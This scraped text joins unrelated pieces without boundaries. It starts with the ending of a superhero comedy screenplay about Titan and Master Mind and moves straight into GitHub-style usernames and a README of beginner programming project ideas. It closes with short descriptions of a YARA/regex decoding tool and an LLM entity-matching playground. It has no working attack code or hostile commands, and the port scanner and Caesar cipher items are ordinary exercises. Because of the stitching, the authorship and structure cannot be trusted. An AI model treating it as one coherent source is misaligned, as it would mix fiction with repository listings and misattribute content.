walk out to the center of the plaza as the sound becomes almost deafening. A TANK TRACK as it moves over the street. We PULL BACK to see a whole line of TANKS rolling along the street. PLAZA From the five streets branching off the plaza, a dozen tanks roll toward Titan. 101. Titan turns to Brad and Frank. TITAN (CONT'D) You guys are about to get some good footage. I might need a little room, though. Brad and Frank look at each other and run to take cover behind a nearby building. Meanwhile, Titan nonchalantly sips from his beer as the tanks begin to surround them. FEEDBACK belts out of one of the tank's loudspeaker's, causing Titan to do a mock wince. TANK LOUDSPEAKER Titan, we have orders from the city of Metro to take you into custody. If you do not give your self up willingly, we will be forced to open fire. There's a long pause as no one says anything. TANK LOUDSPEAKER What is your answer? Titan takes a sip of his beverage and UNLEASHES A GIGANTIC BURP - The shockwave of which sends several of the tanks flying into a nearby building. Two of the remaining tanks close in on the villain. Both have him dead to rights at point-blank range with their massive guns. Titan sets down his beer, then calmly plugs a fist into each barrel. They FIRE. The FORCE OF THE BLAST SENDS THEM BOTH FLYING IN OPPOSITE DIRECTIONS where they CRASH into nearby buildings. Titan bends down and pick his beet back up. TITAN (to beer) Miss me? Titan is suddenly bombarded by a massive barrage of machine- gun fire. The force sends him flying into the windshield of a nearby car. 102. He looks up to see an APACHE ASSAULT COPTER. It's nose- mounted GATLING-GUN is turning toward him. Titan gets up to his feet and looks down at his beer can. The bottom of it was blown apart in the blast. TITAN (CONT'D) Didn't mean to get you involved in all of this. He stared daggers up at the helicopter pilot just as the gun gets a bead on him. TITAN (CONT'D) Hey, man! You killed my suds! Titan throws the can up and slaps it with the palm of his hand. It flies with so much force it knocks the helicopter blade clean off. The rest of the Apache crashes to the street like a car dropped off a building. TITAN (CONT'D) That's one was for you, beer. Titan salutes the wreckage and walks away to find Brad and Frank still hiding behind the building. TITAN Guys, please tell me you got that last bit. BRAD HELMS Huh? TITAN You're kidding me. I give you my sexiest moves and you mean to tell me it was for nothing? BRAD HELMS We were afraid something might hit us. TITAN Looks like I've given the story of the century to the wrong man. He thinks about this for a moment, then it hits him. 103. TITAN Wait. What about that other reporter. Blond. Not so lumpy on the topper half, but killer legs. BRAD HELMS Roxanne. You want Roxanne. She's a much better reporter than I am. You want her. TITAN Where can I find her. FRANK We're actually not supposed to give out that sort of information. BRAD HELMS 1314 Mockingbird Lane. I believe she lives in a penthouse. TITAN You've been very helpful. He tosses Brad over his shoulder like a discarded ice cream cone. In the faint distance we see him splash down in the middle of the Metro City river. INT. ABANDONED METRO CITY LIBRARY - DAY Master Mind, pacing anxiously as Plato and Da Vinci pack boxes. Obviously Master Mind is going on the lamb. MASTER MIND Hurry, we must be on our way as soon as possible. DA VINCI Master, why must we flee? MASTER MIND I told you, Titan is too powerful. If he's set on destroying us, there's precious little we could do about it. DA VINCI Where are we going? 104. MASTER MIND To another city, someplace with a shitload of superheroes to fight. We'll start over, we'll go back to doing what we do best. PLATO With our tails between our legs? The old Master Mind would never have let this comment slip by, but as we have seen, he's not the same man. MASTER MIND Plato, do you have a better plan?! Master Mind's cell phone rings. He turns in shame from his men and answers it. MASTER MIND (CONT'D) Hello...Roxanne? INT. ROXANNE'S APARTMENT Roxanne paces back and forth on the phone. ROXANNE What are you going to do about Tighten? INTERCUT between Master Mind and Roxanne on phone. MASTER MIND Right now I'm packing, later I'll have a snack on the train. ROXANNE You're running away? MASTER MIND In a word - yes. ROXANNE You created this monster... MASTER MIND I didn't create this - the god's of irony did and I am eating the crow I so richly deserve. ROXANNE There's no time for self pity. 105. MASTER MIND I'll make the time. Roxanne can't believe what she's hearing. MASTER MIND (CONT'D) You can leave with us. You'll be safe. ROXANNE I'm not going anywhere. MASTER MIND Will you listen to me, no one can stop him. ROXANNE You have to try. The city needs your help. MASTER MIND I'm afraid you have an inflated opinion of me. ROXANNE What the hell's happened to you? The Master Mind I knew would never have run from a fight even though he knew deep in his heart that he didn't have a chance in hell of winning it. It was your best quality. You need to be that man right now...I... MASTER MIND What? ROXANNE (heart felt) I believe in you. Master Mind is taken aback, in a good way. But he catches himself before the words swell his heart. MASTER MIND Sweet words, but that man is dead. Please, Roxanne, just come with me. ROXANNE No...I guess you are a coward after all. Suddenly, there's a loud crash. 106. Roxanne looks up to see a huge hunk of her ceiling has been completely ripped off. Titan is flying above, holding the debris as casually as if it were a paper plate at a barbecue. He looks down at her and smiles. TITAN Man, have I got a story for you. Master Mind can hears Titan's familiar laugh from his side of the line. MASTER MIND Roxanne? Roxanne? EXT. KINGPIN BOWLING - DAY Titan is standing in front of the bowling alley, trying to decide on an appropriate pose for the occasion. TITAN What pose would be best? The corny folded arms thing? He demonstrates, arching his chin proudly in the air. TITAN Or maybe on the hips, like this. It's the classic Superman pose, only not as masculine. TITAN No, makes me look like a flamer pirate. As Titan starts to fix his hair in the window, Frank pretends to fix the lens on his camera as he speaks to Roxanne. FRANK (whispering) Shouldn't we be making a run for it right about now? ROXANNE (whispering) The guy can outrun bullets. I don't think either one of us is in that kind of shape. TITAN She's right, Frank. 107. Frank looks up, stunned that Titan could have possibly heard him. TITAN Also got super hearing. I promise not to keep the both of you long, but you'll thank me when this is all over. Frank and Roxanne exchange helpless expressions. INT. ABANDONED METRO CITY LIBRARY - DAY Master Mind reverently stares up at the painted portrait of his father. MASTER MIND Dad, it's me... (he looks around to make sure no one can hear) ...Bubsy. I know we haven't talked in a while, and I'm sorry. It's been a little crazy trying to live up to a legacy. The painting's menacing stare seems to reach into his very soul. MASTER MIND Anyway...You raised me to be the worst that I could possibly be. And I've tried to live up to that as best as I could - even dropping out of dentistry school like you wanted me to. But I'm about to do something now that would really piss you off. I'm going to go against everything you ever taught me. I hope...I hope that maybe you'll look down at what I'm about to do as not so much a good deed, but more like the outright defiance of a hateful and ungrateful, son. If you could do that, then maybe - in your own little way - you could - for probably the first time - find a reason to be proud of me. He looks back up at the picture. Is it our imagination, or does the painting's stare suddenly seem even angrier? 108. MASTER MIND Well...either way, you're probably going to see me real soon. (calling over his shoulder) Men? Plato and Da Vinci suddenly stop what they're doing and look up at him. PLATO AND DA VINCI Yes Sir? MASTER MIND Stop packing. Our work is not finished here. PLATO AND DA VINCI YES SIR! TELEVISION A news report shows an aerial shot of Titan setting the giant ball down in the middle of a vacant city street. REPORTER We interrupt your regular afternoon programming to show you live footage of a potential dangerous situation in downtown Metro. The former hero knows as Titan is placing what appears to be a giant ball... INT. ABANDONED METRO CITY LIBRARY - CONTINUOUS Da Vinci stops in front of a television set, seeing the news report in progress. REPORTER Hold on...It appears our own Roxanne Ritchi is somehow at the scene. We now go to her with a live report. DA VINCI Sir, I think you should see this! CUT TO: 109. EXT. CITY STREET - DAY Roxanne is standing in front of a camera with a mike in her hand. ROXANNE I'm here with the cause of the destruction in Metro City. He has kidnapped me and a cameraman to chronicle what he refers to as the creation of a monument to his invincibility and overall "Asskickiness." He will use this giant concrete bowling ball to play the largest game of bowling ever using the buildings of downtown Metro City as his pins. Titan suddenly steps into the shot. TITAN And I'm going for the biggest strike ever. He leans into the camera. TITAN And you, Metro City, have a ringside seat as I cement my name in the anal of history. ROXANNE Annals. TITAN What? ROXANNE Nevermind. EXT. CITY STREET - MOMENTS LATER Titan holds up the massive bowling ball, lining up his shot. TITAN (in quiet professional bowler announcer voice) Like Tiger before him, a young savior has come to raise a sport from the ashes. Rookie Hal Stewart, a young man with a dream, realizing that dream here today, folks. (MORE) 110. TITAN(cont'd) One might click there heels and say "There's no place like home" upon finding themselves in such a fantasy. Well, Hal looks very much at home right were he is - with a ball in hand and glory in his sights. INT. METRO CITY LIBRARY - CONTINUOUS In the bowels of Master Mind's hideout, the HYDROGEN REACTOR glows and HUMS MENACINGLY. BACK TO SCENE Roxanne just stand helpless as Frank films away. ROXANNE Hal, I know everyone treated you like shit, but you don't have to do this. TITAN You're right. I don't HAVE to do anything. Isn't that cool? Titan lines up his shot. TITAN Here's one for the record books! Titan flies a few feet and rolls the ball down the main street. ROXANNE Her face is utter horror as she watches the inevitable destruction of Metro City. As the ball rolls - it demolishes everything in it's wake; cars, street lamps - windows shatter as the giant concrete sphere brushes along side buildings. TITAN He smiles in anticipation and uses "body English" to direct the ball. GIANT BOWLING BALL POV It's nearly halfway to its target. ROXANNE 111. She closes her eyes. Titan's smile fades. He looks around as if he hears something we don't. About two hundred feet in front of the first building a GIANT SPIDER WEB flies across the path of the ball, creating a defensive barrier. An enormous letter "M" is etched in the web's center. TITAN (CONT'D) What the...? The ball breaks through the web, but it's speed is greatly reduced. FRANK Look, what's that flying in the air? We suddenly see MASTER MIND FLYING OVER THE ROLLING BALL IN A JET PACK. He quickly pulls out his goo gun and starts laying down a path of sticky plasm to stop the destructive sphere's path. MASTER MIND C'mon, slow down Master Mind looks down to see the meter of the gun close to empty. MASTER MIND C'mon. The ball slows drastically then starts rolling to the side. It heads off an embankment and rolls harmlessly into a CANAL. MASTER MIND Gutterball! TITAN He's furious to say the least. TITAN YOU! Master Mind gives him a mocking grin. MASTER MIND Bowling? What other trailer park sports can you play? 112. TITAN You are becoming a real pain in my ass. I should have done this a long time ago. Titan lunges at his tormentor. Master Mind hits the BOOSTER on his jet pack and heads back toward the other side of the city with Titan in hot pursuit. MASTER MIND (CONT'D) (into walkie talkie) Plato, Da Vinci. Secure Roxanne, he's falling for it. ELSEWHERE A flustered Titan lands. He begins searching the city streets, but Master Mind is nowhere in sight. He turns upon hearing an EEKING sound to his left. Sitting on the ground is a CHIMPANZEE wearing a strange collar. It smiles at him. TITAN What the hell? From behind, Titan is immediately set upon by five more RADIO CONTROLLED APES. TITAN (CONT'D) GODAMNIT! The critters bite hop and hit Titan. As soon as he throws one off two more jump him. Titan breaks free and with his mighty breath blows them across the street into a fruit stand. With Titan out of their sight they begin to attack the fruit. MASTER MIND He's a block away frantically hitting his remote. MASTER MIND Shit! Stupid monkeys and their fruit. Titan flies away from the mad monkeys and lands to find Master Mind sitting on the ground wrapped in a long cape with only his head sticking out. 113. TITAN (CONT'D) No more games. Titan FIRES HIS LASER VISION AT MASTER MIND's CHEST. Master Mind pulls the cloak away to reveal a FIRE HYDRANT. Titan's EYE LASERS burn through the hydrant releasing a high pressure stream of water. Master Mind uses the last remote which dumps two tons of CEMENT mix into the truck. The crowd, police and news crews move in closer when Titan doesn't emerge. Master Mind drops his last remote and walks toward the truck cautiously. MASTER MIND Could it really be that easy-- - BOOM - The back of the truck explodes, throwing dust and concrete everywhere. When the dust clears we see and enraged Titan. MASTER MIND (CONT'D) Didn't think so. As the villain walks toward him, he pulls back his fist to give Master Mind the killing blow. TITAN If you don't mind, I'm going to punch trough your face now. Preparing himself for the end, Master Mind shuts his eyes as a SUDDEN GUST OF WIND BEGINS TO PICK UP. AS Titan goes to strike, a BLURRY FIGURE RUNS IN AND SNATCHES MASTER MIND OUT OF THE AWAY. Stunned, Master Mind begins to feel around his body as if to make sure everything's still in place. MASTER MIND I'm alive. He turns to see UBERMAN standing next to him. MASTER MIND Uberman? 114. The terrified bystanders start to notice the figure standing next to Master Mind. BYSTANDER 1 It's Uberman! BYSTANDER 2 Uberman's alive! BYSTANDER 3 We're saved! As the CROWD CHEERS, A confused Master Mind turns to Metro City's newly resurrected champion. MASTER MIND I thought. UBERMAN So did I. He puts a hand on Master Mind's shoulder. UBERMAN Thank you, old enemy. MASTER MIND For what? UBERMAN Showing me the error of my ways, Showing me I'm meant to be this city's savior, showing me that, while we can try, there is no running away from our true destiny. With that, UBERMAN IS STRICKEN BY A LASER BLAST, INSTANTLY TURNING HIM INTO A CHARRED HUMAN SKELETON. Master Mind turns to see Titan smiling with his STILL SMOKING EYES. TITAN Oh...Did I interrupt something? Master Mind turns to run, but, suddenly Titan is before him. TITAN Where you going, buddy? Titan grabs Master Mind by the collar and throws him across the street into a parked car. 115. TITAN (CONT'D) Welcome to Paintown. Population: you. Master Mind manages to stand on shaky legs. He seems in a daze, unable to move. Titan flies up in the air. TITAN (CONT'D) Time to finish this. With his fist front and center, Titan speeds toward Master Mind. He's like a human torpedo, coming in for the killing blow. Master Mind comes to his senses and puts up his hands. MASTER MIND WAIT!!! Titan screeches to a halt and stops just in front of him like an old Warner Bros cartoon. TITAN What? MASTER MIND Quick joke - What's the capital of Thailand? TITAN Huh - I don't know. MASTER MIND It's bang cock! In a sudden surge of strength, MASTER MIND PUNCHES TITAN IN THE GROIN. The once mighty man instantly drops to his knees, searching, with tears in his eyes, for the proper word to express the pain suddenly surging through his member. TITAN (CONT'D) Ow. Baffled, he looks up at Master Mind's hand and sees his gauntlet is now made ENTIRELY OUT OF COPPER. MASTER MIND So, I guess pennies are good for something. 116. He punches Titan in the face, knocking him out cold. Master Mind looks down on Titan with more than a little pride. Suddenly he hears something behind him. He spins to see the crowd making a strange noise - APPLAUSE. Roxanne comes up to him. The crowd starts to go wild and cheers for Master Mind. He's not sure what to make of it. ROXANNE Pretty strange, huh? MASTER MIND They're cheering for me. ROXANNE You saved them. You saved everybody. How's it feel? Master Mind looks at the smiles all around him. He begins to well up a little. MASTER MIND It's a...it's nice, you know? I usually don't get a lot of feedback. (whispering) But I also kind of caused all this. What happens when they find that out I was the cause of some of this? Roxanne looks at the cheering crowd, then back at Master Mind. ROXANNE What they don't know won't hurt them. MASTER MIND I guess that is all in the past. ROXANNE You're the hero. MASTER MIND I don't think I'd go that far...I mean I just...er... ROXANNE Master Mind? 117. MASTER MIND Yes? ROXANNE Stop talking. She kisses him. The crowd erupts in a cheer. TELEVISION The channel 7 he channel 7 logo zooms in followed by the title "Eye on Metro City." A picture of Master Mind smiling appears on the screen behind her. SAMANTHA SUMMERS Who's bad? Well, not Master Mind. It seems the former villain has done a career 180 after defeating Tighten and saving Metro City from certain enslavement. And here he is getting a full pardon by Metro City's Mayor, Steve Dent. Cut to ceremony on capital steps. The MAYOR is shaking Master Mind's metal gauntlet when it suddenly STARTS TO CRUSH HIS HAND. MAYOR Ahhh! Secret service men quickly start to draw their weapons and take aim at Master Mind. Realizing what's happening, he quickly lets the mayor's hand go and puts his arms in the air. MASTER MIND Sorry - Metal hand. Force of habit. He elbows the mayor. MASTER MIND (CONT'D) We're okay, right? Wincing, the mayor signals the men to put their guns down. WE CUT to video of Titan behind bars in a regular prison. 118. BRAD HELMS And what about Tighten? Is there a prison in existence that can hold this super powered menace? Well, the answer we found is no. A man in a white lab coat stands in front of Titan's cell just out of reach. PRISON SCIENTIST Of course normally he could break out of there anytime, but as you can see we've taken some special precautions. The news camera pans over see Titan in his cell wearing a copper JOCK STRAP with electrical cables hooked to it. Back to Samantha at the desk. BRAD HELMS What is a Hero? It seems never has that question needed to be asked more than it does tonight. We go to our very own Roxanne Ritchi, making her triumphant return to our news desk for the answer. Brad turns. The camera pans over to Roxanne who we now see has been sitting beside him. ROXANNE What is a hero? Well, there are many different kinds. There are those who hear a call, like the policeman or doctor, then there's the kind the public creates in their search for meaning and hope. Then, there are those who have the courage to change. DARK ALLEY - NIGHT A woman is being chased by two large thugs. They're gaining on her. She comes to a brick wall - a dead end. The thugs laugh. THUG #1 Hey, gimme that purse? 119. MASTER MIND (O.S) I don't think it would go with your outfit. The thugs turn around to see Master Mind, standing with his arms folded across his chest. THUG #2 It's Master Mind! Thug #1 draws a knife. THUG #1 So? It's not like he has any superpowers. Thug #1 puts his fingers to his mouth and whistles. Suddenly two more Thugs appear behind Master Mind. MASTER MIND I'm gonna give you a chance to surrender. THUG #1 Four against one. For a Master Mind, you're really bad at math. Master Mind throws a hand signal up in the air. Suddenly a giant robotic foot crashes down on the two men behind him. Thug #1 and Thug #2 drop their knives and raise their hands in the air. Master Mind looks up and waves. MASTER MIND Way to take out those two goons, guys! We see Da Vinci and Plato at the wheel of a gigantic robot. DA VINCI What two goons? The giant robot lifts its foot to check the bottom of it's sole. It KNOCKS OVER WATER TOWER in the process. The woman looks at Master Mind, horrified. 120. MASTER MIND (apologetically) Sorry, we're new at this. THE END
ManojKumarPatnaik
A list of practical projects that anyone can solve in any programming language (See solutions). These projects are divided into multiple categories, and each category has its own folder. To get started, simply fork this repo. CONTRIBUTING See ways of contributing to this repo. You can contribute solutions (will be published in this repo) to existing problems, add new projects, or remove existing ones. Make sure you follow all instructions properly. Solutions You can find implementations of these projects in many other languages by other users in this repo. Credits Problems are motivated by the ones shared at: Martyr2’s Mega Project List Rosetta Code Table of Contents Numbers Classic Algorithms Graph Data Structures Text Networking Classes Threading Web Files Databases Graphics and Multimedia Security Numbers Find PI to the Nth Digit - Enter a number and have the program generate PI up to that many decimal places. Keep a limit to how far the program will go. Find e to the Nth Digit - Just like the previous problem, but with e instead of PI. Enter a number and have the program generate e up to that many decimal places. Keep a limit to how far the program will go. Fibonacci Sequence - Enter a number and have the program generate the Fibonacci sequence to that number or to the Nth number. Prime Factorization - Have the user enter a number and find all Prime Factors (if there are any) and display them. Next Prime Number - Have the program find prime numbers until the user chooses to stop asking for the next one. Find Cost of Tile to Cover W x H Floor - Calculate the total cost of the tile it would take to cover a floor plan of width and height, using a cost entered by the user. Mortgage Calculator - Calculate the monthly payments of a fixed-term mortgage over given Nth terms at a given interest rate. Also, figure out how long it will take the user to pay back the loan. For added complexity, add an option for users to select the compounding interval (Monthly, Weekly, Daily, Continually). Change Return Program - The user enters a cost and then the amount of money given. The program will figure out the change and the number of quarters, dimes, nickels, pennies needed for the change. Binary to Decimal and Back Converter - Develop a converter to convert a decimal number to binary or a binary number to its decimal equivalent. Calculator - A simple calculator to do basic operators. Make it a scientific calculator for added complexity. Unit Converter (temp, currency, volume, mass, and more) - Converts various units between one another. The user enters the type of unit being entered, the type of unit they want to convert to, and then the value. The program will then make the conversion. Alarm Clock - A simple clock where it plays a sound after X number of minutes/seconds or at a particular time. Distance Between Two Cities - Calculates the distance between two cities and allows the user to specify a unit of distance. This program may require finding coordinates for the cities like latitude and longitude. Credit Card Validator - Takes in a credit card number from a common credit card vendor (Visa, MasterCard, American Express, Discoverer) and validates it to make sure that it is a valid number (look into how credit cards use a checksum). Tax Calculator - Asks the user to enter a cost and either a country or state tax. It then returns the tax plus the total cost with tax. Factorial Finder - The Factorial of a positive integer, n, is defined as the product of the sequence n, n-1, n-2, ...1, and the factorial of zero, 0, is defined as being 1. Solve this using both loops and recursion. Complex Number Algebra - Show addition, multiplication, negation, and inversion of complex numbers in separate functions. (Subtraction and division operations can be made with pairs of these operations.) Print the results for each operation tested. Happy Numbers - A happy number is defined by the following process. Starting with any positive integer, replace the number by the sum of the squares of its digits, and repeat the process until the number equals 1 (where it will stay), or it loops endlessly in a cycle which does not include 1. Those numbers for which this process ends in 1 are happy numbers, while those that do not end in 1 are unhappy numbers. Display an example of your output here. Find the first 8 happy numbers. Number Names - Show how to spell out a number in English. You can use a preexisting implementation or roll your own, but you should support inputs up to at least one million (or the maximum value of your language's default bounded integer type if that's less). Optional: Support for inputs other than positive integers (like zero, negative integers, and floating-point numbers). Coin Flip Simulation - Write some code that simulates flipping a single coin however many times the user decides. The code should record the outcomes and count the number of tails and heads. Limit Calculator - Ask the user to enter f(x) and the limit value, then return the value of the limit statement Optional: Make the calculator capable of supporting infinite limits. Fast Exponentiation - Ask the user to enter 2 integers a and b and output a^b (i.e. pow(a,b)) in O(LG n) time complexity. Classic Algorithms Collatz Conjecture - Start with a number n > 1. Find the number of steps it takes to reach one using the following process: If n is even, divide it by 2. If n is odd, multiply it by 3 and add 1. Sorting - Implement two types of sorting algorithms: Merge sort and bubble sort. Closest pair problem - The closest pair of points problem or closest pair problem is a problem of computational geometry: given n points in metric space, find a pair of points with the smallest distance between them. Sieve of Eratosthenes - The sieve of Eratosthenes is one of the most efficient ways to find all of the smaller primes (below 10 million or so). Graph Graph from links - Create a program that will create a graph or network from a series of links. Eulerian Path - Create a program that will take as an input a graph and output either an Eulerian path or an Eulerian cycle, or state that it is not possible. An Eulerian path starts at one node and traverses every edge of a graph through every node and finishes at another node. An Eulerian cycle is an eulerian Path that starts and finishes at the same node. Connected Graph - Create a program that takes a graph as an input and outputs whether every node is connected or not. Dijkstra’s Algorithm - Create a program that finds the shortest path through a graph using its edges. Minimum Spanning Tree - Create a program that takes a connected, undirected graph with weights and outputs the minimum spanning tree of the graph i.e., a subgraph that is a tree, contains all the vertices, and the sum of its weights is the least possible. Data Structures Inverted index - An Inverted Index is a data structure used to create full-text search. Given a set of text files, implement a program to create an inverted index. Also, create a user interface to do a search using that inverted index which returns a list of files that contain the query term/terms. The search index can be in memory. Text Fizz Buzz - Write a program that prints the numbers from 1 to 100. But for multiples of three print “Fizz” instead of the number and for the multiples of five print “Buzz”. For numbers which are multiples of both three and five print “FizzBuzz”. Reverse a String - Enter a string and the program will reverse it and print it out. Pig Latin - Pig Latin is a game of alterations played in the English language game. To create the Pig Latin form of an English word the initial consonant sound is transposed to the end of the word and an ay is affixed (Ex.: "banana" would yield anana-bay). Read Wikipedia for more information on rules. Count Vowels - Enter a string and the program counts the number of vowels in the text. For added complexity have it report a sum of each vowel found. Check if Palindrome - Checks if the string entered by the user is a palindrome. That is that it reads the same forwards as backward like “racecar” Count Words in a String - Counts the number of individual words in a string. For added complexity read these strings in from a text file and generate a summary. Text Editor - Notepad-style application that can open, edit, and save text documents. Optional: Add syntax highlighting and other features. RSS Feed Creator - Given a link to RSS/Atom Feed, get all posts and display them. Quote Tracker (market symbols etc) - A program that can go out and check the current value of stocks for a list of symbols entered by the user. The user can set how often the stocks are checked. For CLI, show whether the stock has moved up or down. Optional: If GUI, the program can show green up and red down arrows to show which direction the stock value has moved. Guestbook / Journal - A simple application that allows people to add comments or write journal entries. It can allow comments or not and timestamps for all entries. Could also be made into a shoutbox. Optional: Deploy it on Google App Engine or Heroku or any other PaaS (if possible, of course). Vigenere / Vernam / Ceasar Ciphers - Functions for encrypting and decrypting data messages. Then send them to a friend. Regex Query Tool - A tool that allows the user to enter a text string and then in a separate control enter a regex pattern. It will run the regular expression against the source text and return any matches or flag errors in the regular expression. Networking FTP Program - A file transfer program that can transfer files back and forth from a remote web sever. Bandwidth Monitor - A small utility program that tracks how much data you have uploaded and downloaded from the net during the course of your current online session. See if you can find out what periods of the day you use more and less and generate a report or graph that shows it. Port Scanner - Enter an IP address and a port range where the program will then attempt to find open ports on the given computer by connecting to each of them. On any successful connections mark the port as open. Mail Checker (POP3 / IMAP) - The user enters various account information include web server and IP, protocol type (POP3 or IMAP), and the application will check for email at a given interval. Country from IP Lookup - Enter an IP address and find the country that IP is registered in. Optional: Find the Ip automatically. Whois Search Tool - Enter an IP or host address and have it look it up through whois and return the results to you. Site Checker with Time Scheduling - An application that attempts to connect to a website or server every so many minute or a given time and check if it is up. If it is down, it will notify you by email or by posting a notice on the screen. Classes Product Inventory Project - Create an application that manages an inventory of products. Create a product class that has a price, id, and quantity on hand. Then create an inventory class that keeps track of various products and can sum up the inventory value. Airline / Hotel Reservation System - Create a reservation system that books airline seats or hotel rooms. It charges various rates for particular sections of the plane or hotel. For example, first class is going to cost more than a coach. Hotel rooms have penthouse suites which cost more. Keep track of when rooms will be available and can be scheduled. Company Manager - Create a hierarchy of classes - abstract class Employee and subclasses HourlyEmployee, SalariedEmployee, Manager, and Executive. Everyone's pay is calculated differently, research a bit about it. After you've established an employee hierarchy, create a Company class that allows you to manage the employees. You should be able to hire, fire, and raise employees. Bank Account Manager - Create a class called Account which will be an abstract class for three other classes called CheckingAccount, SavingsAccount, and BusinessAccount. Manage credits and debits from these accounts through an ATM-style program. Patient / Doctor Scheduler - Create a patient class and a doctor class. Have a doctor that can handle multiple patients and set up a scheduling program where a doctor can only handle 16 patients during an 8 hr workday. Recipe Creator and Manager - Create a recipe class with ingredients and put them in a recipe manager program that organizes them into categories like desserts, main courses, or by ingredients like chicken, beef, soups, pies, etc. Image Gallery - Create an image abstract class and then a class that inherits from it for each image type. Put them in a program that displays them in a gallery-style format for viewing. Shape Area and Perimeter Classes - Create an abstract class called Shape and then inherit from it other shapes like diamond, rectangle, circle, triangle, etc. Then have each class override the area and perimeter functionality to handle each shape type. Flower Shop Ordering To Go - Create a flower shop application that deals in flower objects and use those flower objects in a bouquet object which can then be sold. Keep track of the number of objects and when you may need to order more. Family Tree Creator - Create a class called Person which will have a name, when they were born, and when (and if) they died. Allow the user to create these Person classes and put them into a family tree structure. Print out the tree to the screen. Threading Create A Progress Bar for Downloads - Create a progress bar for applications that can keep track of a download in progress. The progress bar will be on a separate thread and will communicate with the main thread using delegates. Bulk Thumbnail Creator - Picture processing can take a bit of time for some transformations. Especially if the image is large. Create an image program that can take hundreds of images and converts them to a specified size in the background thread while you do other things. For added complexity, have one thread handling re-sizing, have another bulk renaming of thumbnails, etc. Web Page Scraper - Create an application that connects to a site and pulls out all links, or images, and saves them to a list. Optional: Organize the indexed content and don’t allow duplicates. Have it put the results into an easily searchable index file. Online White Board - Create an application that allows you to draw pictures, write notes and use various colors to flesh out ideas for projects. Optional: Add a feature to invite friends to collaborate on a whiteboard online. Get Atomic Time from Internet Clock - This program will get the true atomic time from an atomic time clock on the Internet. Use any one of the atomic clocks returned by a simple Google search. Fetch Current Weather - Get the current weather for a given zip/postal code. Optional: Try locating the user automatically. Scheduled Auto Login and Action - Make an application that logs into a given site on a schedule and invokes a certain action and then logs out. This can be useful for checking webmail, posting regular content, or getting info for other applications and saving it to your computer. E-Card Generator - Make a site that allows people to generate their own little e-cards and send them to other people. Do not use Flash. Use a picture library and perhaps insightful mottos or quotes. Content Management System - Create a content management system (CMS) like Joomla, Drupal, PHP Nuke, etc. Start small. Optional: Allow for the addition of modules/addons. Web Board (Forum) - Create a forum for you and your buddies to post, administer and share thoughts and ideas. CAPTCHA Maker - Ever see those images with letters numbers when you signup for a service and then ask you to enter what you see? It keeps web bots from automatically signing up and spamming. Try creating one yourself for online forms. Files Quiz Maker - Make an application that takes various questions from a file, picked randomly, and puts together a quiz for students. Each quiz can be different and then reads a key to grade the quizzes. Sort Excel/CSV File Utility - Reads a file of records, sorts them, and then writes them back to the file. Allow the user to choose various sort style and sorting based on a particular field. Create Zip File Maker - The user enters various files from different directories and the program zips them up into a zip file. Optional: Apply actual compression to the files. Start with Huffman Algorithm. PDF Generator - An application that can read in a text file, HTML file, or some other file and generates a PDF file out of it. Great for a web-based service where the user uploads the file and the program returns a PDF of the file. Optional: Deploy on GAE or Heroku if possible. Mp3 Tagger - Modify and add ID3v1 tags to MP3 files. See if you can also add in the album art into the MP3 file’s header as well as other ID3v2 tags. Code Snippet Manager - Another utility program that allows coders to put in functions, classes, or other tidbits to save for use later. Organized by the type of snippet or language the coder can quickly lookup code. Optional: For extra practice try adding syntax highlighting based on the language. Databases SQL Query Analyzer - A utility application in which a user can enter a query and have it run against a local database and look for ways to make it more efficient. Remote SQL Tool - A utility that can execute queries on remote servers from your local computer across the Internet. It should take in a remote host, user name, and password, run the query and return the results. Report Generator - Create a utility that generates a report based on some tables in a database. Generates sales reports based on the order/order details tables or sums up the day's current database activity. Event Scheduler and Calendar - Make an application that allows the user to enter a date and time of an event, event notes, and then schedule those events on a calendar. The user can then browse the calendar or search the calendar for specific events. Optional: Allow the application to create re-occurrence events that reoccur every day, week, month, year, etc. Budget Tracker - Write an application that keeps track of a household’s budget. The user can add expenses, income, and recurring costs to find out how much they are saving or losing over a period of time. Optional: Allow the user to specify a date range and see the net flow of money in and out of the house budget for that time period. TV Show Tracker - Got a favorite show you don’t want to miss? Don’t have a PVR or want to be able to find the show to then PVR it later? Make an application that can search various online TV Guide sites, locate the shows/times/channels and add them to a database application. The database/website then can send you email reminders that a show is about to start and which channel it will be on. Travel Planner System - Make a system that allows users to put together their own little travel itinerary and keep track of the airline/hotel arrangements, points of interest, budget, and schedule. Graphics and Multimedia Slide Show - Make an application that shows various pictures in a slide show format. Optional: Try adding various effects like fade in/out, star wipe, and window blinds transitions. Stream Video from Online - Try to create your own online streaming video player. Mp3 Player - A simple program for playing your favorite music files. Add features you think are missing from your favorite music player. Watermarking Application - Have some pictures you want copyright protected? Add your own logo or text lightly across the background so that no one can simply steal your graphics off your site. Make a program that will add this watermark to the picture. Optional: Use threading to process multiple images simultaneously. Turtle Graphics - This is a common project where you create a floor of 20 x 20 squares. Using various commands you tell a turtle to draw a line on the floor. You have moved forward, left or right, lift or drop the pen, etc. Do a search online for "Turtle Graphics" for more information. Optional: Allow the program to read in the list of commands from a file. GIF Creator A program that puts together multiple images (PNGs, JPGs, TIFFs) to make a smooth GIF that can be exported. Optional: Make the program convert small video files to GIFs as well. Security Caesar cipher - Implement a Caesar cipher, both encoding, and decoding. The key is an integer from 1 to 25. This cipher rotates the letters of the alphabet (A to Z). The encoding replaces each letter with the 1st to 25th next letter in the alphabet (wrapping Z to A). So key 2 encrypts "HI" to "JK", but key 20 encrypts "HI" to "BC". This simple "monoalphabetic substitution cipher" provides almost no security, because an attacker who has the encoded message can either use frequency analysis to guess the key, or just try all 25 keys.
michelcrypt4d4mus
Visually inspect and force decode YARA and regex matches found in both binary and text data with colors. Lots of colors.
jacopotagliabue
Playground for using large language models into the Modern Data Stack for entity matching
klonnet23
